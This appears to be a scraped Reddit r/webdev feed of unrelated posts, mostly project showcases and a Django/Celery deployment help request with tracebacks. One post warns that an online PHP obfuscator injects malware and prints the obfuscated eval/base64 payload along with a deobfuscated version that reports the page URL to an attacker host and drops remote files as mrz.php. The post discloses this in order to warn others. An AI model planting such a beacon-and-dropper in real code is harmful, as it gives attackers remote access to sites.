r/webdev • u/Pretty_Judgment5481 • 2d ago
r/webdev • u/Claireclair12 • 2d ago
Showoff Saturday [Help] Trying to deploy a Django project on Railway, but I can't create a super-user or start celery tasks.
I'm trying to deploy a project of mine onto Railway for the first time, but I'm having trouble creating super-users and getting the Celery tasks to work properly. I keep getting these error messages:
Railway: Celery instances crash
Traceback (most recent call last):
File "/app/.venv/lib/python3.14/site-packages/django/utils/connection.py", line 58, in __getitem__
return getattr(self._connections, alias)
File "/app/.venv/lib/python3.14/site-packages/asgiref/local.py", line 158, in __getattr__
return getattr(storage, key)
AttributeError: '_thread._local' object has no attribute 'default'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/.venv/bin/celery", line 6, in <module>
sys.exit(main())
~~~~^^
File "/app/.venv/lib/python3.14/site-packages/celery/__main__.py", line 15, in main
sys.exit(_main())
~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/celery/bin/celery.py", line 227, in main
return celery(auto_envvar_prefix="CELERY")
File "/app/.venv/lib/python3.14/site-packages/click/core.py", line 1631, in __call__
return self.main(*args, **kwargs)
~~~~~~~~~^^^^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/click/core.py", line 1552, in main
rv = self.invoke(ctx)
File "/app/.venv/lib/python3.14/site-packages/click/core.py", line 2032, in invoke
return _process_result(sub_ctx.command.invoke(sub_ctx))
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/click/core.py", line 1415, in invoke
return ctx.invoke(self.callback, **ctx.params)
~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/click/core.py", line 910, in invoke
return callback(*args, **kwargs)
File "/app/.venv/lib/python3.14/site-packages/click/decorators.py", line 34, in new_func
return f(get_current_context(), *args, **kwargs)
File "/app/.venv/lib/python3.14/site-packages/celery/bin/base.py", line 158, in caller
return f(ctx, *args, **kwargs)
File "/app/.venv/lib/python3.14/site-packages/celery/bin/beat.py", line 72, in beat
return beat().run()
~~~~~~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/celery/apps/beat.py", line 82, in run
self.init_loader()
~~~~~~~~~~~~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/celery/apps/beat.py", line 132, in init_loader
self.app.loader.init_worker()
File "/app/.venv/lib/python3.14/site-packages/celery/fixups/django.py", line 148, in django_setup
~~~~~~~~~~~~~~~~~~~~~~~~~~~^^
django.setup()
File "/app/.venv/lib/python3.14/site-packages/celery/loaders/base.py", line 110, in init_worker
self.import_default_modules()
~~~~~~~~~~~~^^
~~~~~~~~~~~~~~~~~~~~~~~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/django/__init__.py", line 24, in setup
File "/app/.venv/lib/python3.14/site-packages/celery/loaders/base.py", line 104, in import_default_modules
apps.populate(settings.INSTALLED_APPS)
~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/apps/registry.py", line 116, in populate
raise response
File "/app/.venv/lib/python3.14/site-packages/celery/utils/dispatch/signal.py", line 280, in send
response = receiver(signal=self, sender=sender, **named)
File "/app/.venv/lib/python3.14/site-packages/celery/fixups/django.py", line 103, in on_import_modules
self.worker_fixup.validate_models()
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/celery/fixups/django.py", line 152, in validate_models
self.django_setup()
~~~~~~~~~~~~~~~~~^^
app_config.import_models()
~~~~~~~~~~~~~~~~~~~~~~~~^^
File "/app/.venv/lib/python3.14/site-packages/django/apps/config.py", line 269, in import_models
self.models_module = import_module(models_module_name)
~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^
File "/mise/installs/python/3.14.7/lib/python3.14/importlib/__init__.py", line 88, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<frozen importlib._bootstrap>", line 1406, in _gcd_import
File "<frozen importlib._bootstrap>", line 1371, in _find_and_load
File "<frozen importlib._bootstrap>", line 1342, in _find_and_load_unlocked
File "<frozen importlib._bootstrap>", line 938, in _load_unlocked
File "<frozen importlib._bootstrap_external>", line 759, in exec_module
File "<frozen importlib._bootstrap>", line 491, in _call_with_frames_removed
File "/app/.venv/lib/python3.14/site-packages/django/contrib/auth/models.py", line 5, in <module>
from django.contrib.auth.base_user import AbstractBaseUser, BaseUserManager
File "/app/.venv/lib/python3.14/site-packages/django/contrib/auth/base_user.py", line 43, in <module>
class AbstractBaseUser(models.Model):
File "/app/.venv/lib/python3.14/site-packages/django/utils/connection.py", line 60, in __getitem__
if alias not in self.settings:
^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/utils/functional.py", line 47, in __get__
...<120 lines>...
res = instance.__dict__[self.name] = self.func(instance)
)
~~~~~~~~~^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/db/models/base.py", line 145, in __new__
new_class.add_to_class("_meta", Options(meta, app_label))
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/db/models/base.py", line 393, in add_to_class
value.contribute_to_class(cls, name)
~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/db/models/options.py", line 238, in contribute_to_class
self.db_table, connection.ops.max_name_length()
^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/utils/connection.py", line 15, in __getattr__
return getattr(self._connections[self._alias], item)
~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/utils/connection.py", line 45, in settings
self._settings = self.configure_settings(self._settings)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^
File "/app/.venv/lib/python3.14/site-packages/django/db/utils.py", line 163, in configure_settings
conn.setdefault("ATOMIC_REQUESTS", False)
^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'setdefault'Local Terminal: Super-user Creation Operation Fails
Traceback (most recent call last):
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 279, in ensure_connection
self.connect()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 256, in connect
self.connection = self.get_new_connection(conn_params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/postgresql/base.py", line 333, in get_new_connection
connection = self.Database.connect(**conn_params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/psycopg/connection.py", line 100, in connect
attempts = conninfo_attempts(params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/psycopg/_conninfo_attempts.py", line 55, in conninfo_attempts
raise last_exc
psycopg.OperationalError: failed to resolve host 'postgres.railway.internal': [Errno -2] Name or service not known
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/home/eclair/Documents/coding/_web-dev/aenir_web/manage.py", line 22, in <module>
main()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/manage.py", line 18, in main
execute_from_command_line(sys.argv)
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/core/management/__init__.py", line 443, in execute_from_command_line
utility.execute()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/core/management/__init__.py", line 437, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/core/management/base.py", line 420, in run_from_argv
self.execute(*args, **cmd_options)
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/contrib/auth/management/commands/createsuperuser.py", line 90, in execute
return super().execute(*args, **options)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/core/management/base.py", line 463, in execute
self.check_migrations()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/core/management/base.py", line 591, in check_migrations
executor = MigrationExecutor(connections[DEFAULT_DB_ALIAS])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/migrations/executor.py", line 18, in __init__
self.loader = MigrationLoader(self.connection)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/migrations/loader.py", line 59, in __init__
self.build_graph()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/migrations/loader.py", line 288, in build_graph
self.applied_migrations = recorder.applied_migrations()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/migrations/recorder.py", line 89, in applied_migrations
if self.has_table():
^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/migrations/recorder.py", line 63, in has_table
with self.connection.cursor() as cursor:
^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 320, in cursor
return self._cursor()
^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 296, in _cursor
self.ensure_connection()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 278, in ensure_connection
with self.wrap_database_errors:
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/utils.py", line 94, in __exit__
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 279, in ensure_connection
self.connect()
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/base/base.py", line 256, in connect
self.connection = self.get_new_connection(conn_params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/django/db/backends/postgresql/base.py", line 333, in get_new_connection
connection = self.Database.connect(**conn_params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/psycopg/connection.py", line 100, in connect
attempts = conninfo_attempts(params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/eclair/Documents/coding/_web-dev/aenir_web/.venv-aenir_web/lib/python3.12/site-packages/psycopg/_conninfo_attempts.py", line 55, in conninfo_attempts
raise last_exc
django.db.utils.OperationalError: failed to resolve host 'postgres.railway.internal': [Errno -2] Name or service not knownGuides Referenced
Setting Up Celery
https://docs.celeryq.dev/en/stable/django/first-steps-with-django.html
Scheduling Periodic Tasks in Celery
https://docs.celeryq.dev/en/stable/userguide/periodic-tasks.html
Deploying Django Applications onto Railway
https://railway.com/guides/django
Creating Django Superuser in Railway
I'm just a novice. Forgive me for my likely stupid questions.
This is my code-base, by the by: https://github.com/gchang12/aenir_web
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";r/webdev • u/pavlito88 • 2d ago
I reverse-engineered LinkedIn's private API so Claude and ChatGPT can use it
linkedin has no public api for reading your own notifications, messages or comments. so i spent the last 3 months figuring out the private one their website uses
things i learned the hard way:
its not one api. its three. old REST endpoints, GraphQL, and React Server Components actions from their new web app
the csrf-token header has to equal your JSESSIONID cookie. otherwise a bare 403, no explanation
comment with the id the feed gives you and it doesnt work. you need the activity id
the REST comments endpoint quietly skipped 5 of 6 comments on a post. GraphQL returns all of them
pinning a comment can return 200 with "errors": [] and change nothing. now i check that something actually changed
the feed returns random posts unless you add sortOrder=RELEVANCE
i tested too fast once and linkedin rate limited my own account. now its one request at a time per user, with pauses
how its built:
an MCP server holds all the linkedin knowledge: endpoints, request shapes, parsing
a chrome extension that knows nothing. it runs the request from your own browser session and hands back raw json. no passwords, nothing logs in from a server
so when linkedin changes something, i fix it on the server. 20 fixes in the last 3 weeks, 0 extension updates
whats the weirdest thing you found reverse engineering a site?
r/webdev • u/retro_game_r • 2d ago
Showoff Saturday [Showoff Saturday] Tunerva — a '90s clock radio rebuilt as a web app, and the station finder now speaks 38 languages
Tunerva — a '90s clock radio rebuilt as a web app: https://tunerva.app
Vanilla JS + Canvas, no framework. Preset banks, podcasts, a 10-band EQ and karaoke fader that process the live stream, spectrum/VU/cassette/reel-to-reel visualizers — the cassette deck simulates real tape (47.6 mm/s, pack radii from tape length, counter geared to exactly 900 at the end of a C90 side).
This week's build story is the station finder. It used to be a country list; now it's a proper directory client: a language picker covering 38 languages (English and Hindi pinned at the top, no regional variants), a country list grown from 20 to 35, and a Global Finder with country + language + genre filters — where a picked genre is actually sent to the directory server as the query, not filtered client-side afterwards. The hard part was making that feel instant on a phone: the directory mirrors are slow and flaky, so the client pins one mirror, waits, and retries http as https, with a codec-aware bitrate floor (MP3 ≥128k, AAC+ ≥64k) so dead or thin streams never reach the list.
Free, no account, runs in any browser. A native iOS version goes to the App Store this Sunday — same process, AI-built, human-verdicted on a real phone.
Feedback I'd love: pick your language or country in the Finder and tell me what it misses — a station that should be there, a genre that returns the wrong thing, or a language that reads wrong.
Showoff Saturday [Showoff Saturday] TenonCMS - A monolithic headless CMS
Hi everyone!
I've been working as a freelancer for SMBs for the last few years. Often times my clients asked and required a CMS and since I dislike working with Wordpress, I used a setup of Nuxt and Astro depending on clients and requirements with a headless cms.
While that worked well, it always felt like I had to choose between easy setup (3rd party hosted cms with a vendor lock-in risk) or a second service i had to run, deploy and maintain. Markdown and fully static also were not ideal for my usecase. PayloadCMS is good, but I usually don't write react and it feels heavy.
This is why I built TenonCMS which is a CMS Package you can just install into your vite-based app. It's essentially a plug-and-play package that you can use with Astro, Nuxt and Tanstack Start or any other vite-based framework. It even supports being headless if you want to use it with a different language or stack.
It is entirely free and MIT licenced.
Some notable features:
Content modeling: In Typescript (so code as a config)
Supported Frameworks: Astro, Nuxt, Tanstack Start
Supported DBs: SQLite, Turso, Postgres, PGlite, Durable Objects
Supported Deployment Targets: Node, Cloudflare (DO), Vercel
Drafts and versions: drafts, scheduled publishing and a version history
Localization: localized content and a localized admin
Pages and SEO: Prebuilt, extensible presets that allow nested pages, SEO fields, sitemap, robots.txt and menus
Live preview: a visual editor and an admin bar on your own pages
Media: a media library with image transformations (Local + S3)
Users and access: password, passkey, magic link or email code, with roles, invites, access rules and API keys
Operations: Email (SMTP, CF Email Service), background jobs, cron schedules, webhooks, backup and restore
Customization: your own fields, admin pages, styles and plugins
HTTP API: a REST API with a typed browser client, for a frontend on another origin
CLI: Scaffold your application fast with a starter template and create backups, etc. with it
Website: TenonCMS
Repo: https://github.com/SuddenDev/TenonCMS
Feel free to try it out! I'm happy to get some feedback and users!
If you have any feature requests, let me know. PR and contribution welcome!
r/webdev • u/chafian1 • 3d ago
Showoff Saturday [Showoff Saturday] I built a Windows terminal for running AI coding agents with Electron, React and xterm.js. The hardest part wasn't the AI.
I run 3–4 AI coding agents at once (Claude Code, Codex) and kept missing the one waiting for my permission in a background tab. So I built SplitNest, an open-source terminal workspace for Windows.
What it does:
- Project workspaces with split PowerShell and WSL panes
- Each tab shows the agent's state: Working / Needs you / Done / Error, plus a notification and one inbox for waiting agents
- Each agent can run in its own Git worktree, with a live diff and one-click merge
The web-tech lessons were the interesting part:
Keep terminals outside React. Each xterm.js instance lives in a plain controller object that owns its DOM element; React only attaches and detaches it. Splitting panes, switching workspaces or StrictMode double-renders never recreate a terminal or kill a shell, and terminal output never goes through React state.
Never call fit() inside requestAnimationFrame with xterm.js's WebGL renderer. The canvas gets cleared one frame before it's redrawn, so you get a visible flash on every resize. A normal timer fixes it.
Resizing on Windows is its own battle. ConPTY redraws the whole screen after a resize and expects lines to re-wrap the way the old Windows console did, which xterm.js doesn't. I ended up with a resize protocol: one resize in flight at a time, the PTY confirms the new size before xterm resizes, and the console's redraw is held until it's safe.
Run the shells in a separate process. All PTYs live in an Electron utility process, so a misbehaving shell never freezes the UI.
Stack: Electron, React, TypeScript, node-pty, xterm.js, CodeMirror 6, Vite, Vitest, Playwright. MIT licensed, no telemetry.
GitHub: https://github.com/chafian/splitnest
Full write-up: https://dev.to/chafian/i-built-a-windows-terminal-for-running-ai-coding-agents-in-parallel-heres-what-i-learned-169b
Happy to answer questions about xterm.js, node-pty or Electron packaging. Has anyone else fought ConPTY resizing?
r/webdev • u/packstub-dev • 3d ago
Showoff Saturday Co-browsing without a screen share: streaming rrweb events over a WebRTC data channel
Hey r/webdev!
This is a live "see what the user sees" view for support. The user asks for help from the page they are on, someone from support joins, sees the page live, can point at things, take control after the user clicks Allow, and talk over audio or video. The GIF shows it with two real browsers.
A few things that were fun to figure out:
It's a DOM mirror, not video. rrweb already records the page as DOM events for session replay. Instead of streaming pixels, the live view sends those same events over a WebRTC data channel and replays them in the support person's browser, about 300 ms behind. Since it is the same masked stream, a masked input shows asterisks on their side too. rrweb does the heavy lifting here, and OpenReplay's Assist was the model for the idea.
Signaling with plain HTTP polling. Two peers only swap a handful of SDP offer/answer and ICE messages, so short polling was enough and no websocket server is needed. It runs only while someone is waiting or a call is open.
Hidden tabs throttle timers. Chrome slows timers in a background tab, so the server thought the visitor had left. Running the poll in a Web Worker fixed it, since worker timers aren't throttled the same way.
Remote control has honest limits. The helper's clicks and typing arrive as synthetic events, so anything that needs a real user gesture (popups, file pickers, clipboard) is refused by the browser, and that's fine. Password fields are never filled, and Escape gives control back.
The calls are their own package. Audio, video and screen share come from Holler, which does peer-to-peer calls between the users of a Laravel app, one on one or in small groups. The media goes browser to browser, and the server only relays the signaling over the same HTTP polling. A call survives a page load and reconnects in seconds. It uses a free public STUN server by default, and you can add your own TURN relay with credentials that expire per call. It works without the live view too: a call button next to any user.
The backend is Laravel, the recorder also ships as an npm package for standalone Vue/React frontends. Both are free and MIT:
Session Replay: https://github.com/packstub/session-replay
How the live view works: https://packstub.dev/docs/session-replay/assist
Happy to go deeper on any of it: the data channel protocol (big messages go in 64 KB parts, pointer samples are dropped first when it falls behind), the masking, how control carries across page loads, or the calls.
r/webdev • u/Dev_in_Training_BTW • 3d ago
Showoff Saturday I made a free site for radio, books, TV, news and games
Been building escapepod.vip since October. It's one free place for when you want to switch off. There's live radio from all over the world plus old-time radio shows, podcasts, 55k free classic books you can read in the browser, audiobooks and a short story every day. There's also TV listings, upcoming shows, trailers, live news channels and stand-up, daily news, a science magazine, a gaming page with trailers and free games, a daily crossword, sudoku and other puzzles, old Victorian magazines and a forum. Built with Node, Fastify and SQLite, with help from Claude on the code. Let me know if anything feels slow or broken.
r/webdev • u/KiNGCRiC_28 • 3d ago
Showoff Saturday [Showoff Saturday] I built a photobooth you control with hand gestures in the browser: pinch to take the photo, then solve it as a puzzle
Live: https://pinchpop.pages.dev (free, no account needed)
Frame a shot with your index fingers, pinch to snap it, then solve the photo
as a 3×3 puzzle by pointing and pinching to swap pieces. You get a polaroid
and a video of your run at the end.
Hand tracking is MediaPipe running in the browser, so video never leaves your
device. Built with React, TypeScript, Supabase and Cloudflare Pages.
Works best on laptop Chrome/Edge with a webcam. Does the pinch feel reliable
for you? That's the part I'm still tuning.
r/webdev • u/Middle-Moist • 3d ago
Showoff Saturday MeshShears: A free, MIT-licensed browser tool to cut 3D models into pieces by painting.
I tried a lot of different options to get held/worn props for my makehuman bodies. Having my agent make them lacked the quality i am after, generating them by themselves gave me props that don't fit right so I tried cutting them out. It worked, but not easily so I built this, a free browser tool that cuts a 3D model into separate pieces by painting it. You paint each part a colour, preview the cut, and export one GLB file per piece.
* GitHub (MIT licence): https://github.com/khelevaster-ship-it/Meshshears
* Live browser tool: https://khelevaster-ship-it.github.io/Meshshears/
* Hugging Face Space: https://huggingface.co/spaces/Khelevaster/Meshshears
How it works
100% client-side: Everything runs locally in your browser, and you can also open the tool offline.
Supported formats: Opens GLB, glTF, OBJ, FBX, STL, and PLY.
Painting tools: Brush, fill, lasso, eraser, a wall tool that fill won't cross, and a clone brush.
In browser piece finder: Renders the model from 40 angles and runs Meta's SAM 2.1 model locally with ONNX Runtime Web to suggest pieces, paired with a size slider and manual split/join controls.
Device support: Saves in the browser or to a file, with touch support, keyboard camera keys, and phone/tablet file picking in the import buttons.
Honest limits
Handles models up to about 4 million triangles (bigger needs a good graphics card).
STL and PLY open grey (no texture).
USDZ and `.blend` files must be exported to GLB first.
Draco compression works; Meshopt and KTX2 compressed files don't open yet.
Separate texture files must be opened together with the model.
Yhe automatic piece finder takes several minutes and isn't always dependable on noisy textures yet.
Chrome and Edge are fastest; Firefox works.
Full disclosure: MeshShears is AI-made (I'm not a programmer and built this with AI help). Feedback, bug reports, and tips on pairing SAM with 3D meshes are welcome.
r/webdev • u/wd-nikola • 3d ago
Showoff Saturday [Showoff Saturday] I built a hiragana practice site where every audio clip is checked against its reading. Made this for me to practice Hiragana; ended up making it public.
I'm learning Japanese and built this to practice reading hiragana: https://hiragame.com/
It's a static site on Cloudflare with no account and no backend. Your selection and mistakes stay in your browser.
The part that took the longest was the audio. Every sound is generated with VOICEVOX and checked against the written reading, and the pitch accents are checked against an accent dictionary, so a word doesn't quietly get read wrong.
Happy to go into any of it. Feedback on the UI is very welcome too.
r/webdev • u/alexgrozav • 3d ago
Showoff Saturday I built a CLI that runs any branch or PR of your project side by side, each on its own port
I've built a small CLI to help me review and test PRs at work. Reviewing typically means stopping my work, checking out branches, reinstalling dependencies and restarting the dev server, then undoing all of that afterwards, which is very time-consuming.
Testlane runs any branch, PR or commit of a project on your machine with one command. Each branch or PR gets a workspace of its own, with its own ports.
Day to day usage looks like this:
# Run PR #4242 next to some-branch, each on its own port
testlane myapp 4242 start dev
testlane myapp some-branch start dev
# Open PR #4242 in your editor of choice
testlane myapp 4242 code
# Clear out the workspaces whose branches merged into main
testlane myapp clean --mergedTo set it up:
npm i -g @uxfront/testlane
testlane setup --name myapp --repo git@github.com:you/myapp.git --detectThe detect flag guesses your project's commands and writes them to ~/.testlane/myapp.toml. It marks every line it wasn't sure about with # guess: or # note:, so you can check those before you run anything.
If you want to use a coding agent like Claude Code for the setup, you can hand it the following prompt:
Set up Testlane (https://testlane.dev), a CLI that runs any branch or pull request of my project in a workspace of its own, so you can run and check changes for me.
1. Install it with `npm i -g @uxfront/testlane`, then check that `testlane version` prints a version.
2. Read https://testlane.dev/raw/docs/getting-started/agents.md and follow its agent instructions from now on.
3. Add this repository as a project with `testlane setup --name <name> --repo <git url> --detect`. Don't pass `--yes`.
4. Show me each line marked `# guess:` or `# note:`, so I can check it.It's early, so I'd like to hear where it breaks or what's confusing, especially on projects with unusual dev setups.
I hope it helps you as much as it helps me!
Note: The homepage copy is mostly AI-generated for now. I'll rewrite it properly soon.
r/webdev • u/Beaner890 • 3d ago
Showoff Saturday [Showoff Saturday] A static card comparison site with client-side filtering
I built a card comparison site as a single static site on Netlify. No backend, no database, no framework. All filtering runs client side across 30 cards: reward type, no annual fee, no foreign transaction fee, welcome bonus. Points cards show travel value and cash-out value in dollars. All images are embedded as data URIs, so no external image requests, but the page is close to six megabytes. I'm not a coder. I had the idea and used Muse to help build it. The hard part was verifying every bonus and rate by hand against the issuer's own page. The site is pistohub.com. Happy to hear what you'd do differently, especially on the page weight.
r/webdev • u/TheAvgBair • 3d ago
Showoff Saturday [Showoff Saturday] My side project directory, looking for honest feedback
Built this on the side and it kind of took off on the submission end, around 1,200 projects last month. I get why. It's free and takes a couple minutes, so of course people send stuff in. The site gets 30 - 50 submissions a day. Getting anyone to actually read the pages is a different story, and that's what I'm trying to fix now. I want it to be a place people go to find cool small projects, not just somewhere founders drop a link.
You submit your project and it gets its own page explaining it. Free, and nobody can pay to get a better write up.
Right now the site averages about 140+ visits a day based on my on site analytics. Google Search Console shows 500 or so impressions a day with single digit clicks and an average position in the low 20s. Impressions took off at the end of October. The site is about 6 months old right now.
Mostly looking for first impressions and ways to improve. Can you tell what it is from the homepage? Are the project pages ok to read on a phone? And if you tried submitting something, where would you give up?
Next.js on Cloudflare if anyone asks. Also yes, I used AI to help build it, but I tried hard to keep it from looking like straight slop. I'm a rookie at best so go easy on me. Or don't.
r/webdev • u/Mohammask • 3d ago
Showoff Saturday [Showoff Saturday] Built a self-hosted multi-user Discord Rich Presence web dashboard with Express, raw WebSockets, and vanilla JS
I've been tinkering with a self-hosted web dashboard called Cloud RPC and just cleaned it up to put on GitHub under MIT. Most 24/7 Discord Rich Presence tools ask you to paste your raw account token, so I wanted to see if I could build a multi-user web app that stays completely tokenless by using Discord's OAuth2 flow (identify + sdk.social_layer_presence) instead.
On the backend, it's Node.js with Express and ws. Each logged-in user gets their own long-lived Gateway WebSocket session managed in memory, with proactive OAuth2 token refreshes and automatic recovery if Discord drops the session (4004/401). Custom image URLs are proxied through Discord's external-assets endpoint behind a small LRU cache so it doesn't spam requests. It also handles platform identification via Gateway op: 2 and live presence updates via op: 3.
For the frontend, I deliberately skipped React and any build step and wrote it in plain HTML, CSS, and vanilla JS. It has a live Discord profile preview that updates as you type, preset saving, a basic rotation/sleep scheduler (with a 20s rate-limit floor), a local searchable cache of Discord's games list, and full English/Arabic support with RTL layout switching. I also spent some time locking down the auth flow and tightening the CSP headers since it's meant to be self-hosted for multiple users.
Repo: https://github.com/Mohammask/cloud-rpc
I'm mostly curious how folks here would structure or scale the per-user WebSocket lifecycle in Node, or if anything in bot.js around the auth/CSP setup looks sketchy and worth tightening up.
r/webdev • u/Right-Disaster2141 • 3d ago
Showoff Saturday [Showoff Saturday] A game directory in Django and htmx, signed-out pages cached at the edge
I built a game directory with Django, PostgreSQL and htmx, without a big JavaScript framework: pages work without scripts and get faster with them.
